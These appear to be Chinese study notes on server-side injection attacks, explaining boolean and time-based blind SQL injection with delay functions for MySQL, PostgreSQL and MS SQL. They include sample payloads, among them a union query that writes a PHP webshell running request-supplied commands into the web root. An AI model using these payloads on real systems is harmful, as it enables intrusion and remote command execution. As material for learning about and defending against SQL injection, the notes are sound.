服务器端应用安全
0x01:注入攻击
注入攻击的本质:把用户输入的数据当作代码执行。两个关键条件,第一,用户能够控制输入,第二是原本的程序要执行的代码,拼接了用户输入的数据
一些注入学习笔记:
sql-labs https://www.cnblogs.com/liqik/p/12861046.html
https://www.cnblogs.com/liqik/p/12828700.html
https://www.cnblogs.com/liqik/p/12602311.html
报错注入 https://www.cnblogs.com/liqik/p/11436519.html
1.1 盲注
盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。
1.1.1 时间盲注
在Mysql中,有benchmark()函数,用于测试函数性能
benchmark(count,expr) //将表达式expr执行count次,通过时间长短的变化,可以判断出注入语句是否执行成功
?id=1111 union select if(substr(current,1,1)=char(119),benchmark(5000000,encode('MSG','by 5 seconds')),null) from (select database() as current() as tb1);
PostgreSQL数据库中的 PG_SLEEP(5)或generate_series(1,10000000)
MS SQL Server 数据中的 waitfor delay '0:0:5' 也能造成延时
SQL注入写入webshell
?id = 1111 union select "<? system($_REQUEST['cmd']); ?>",2,3,4 into outfile "/var/www/html/temp/shell.php" #
或者
select '一句话' into dumpfile '路径'
dumpfile适合二进制文件
outfile适合文本文件
条件:
root权限以及网站的绝对路径。
未完。。。。。。
finished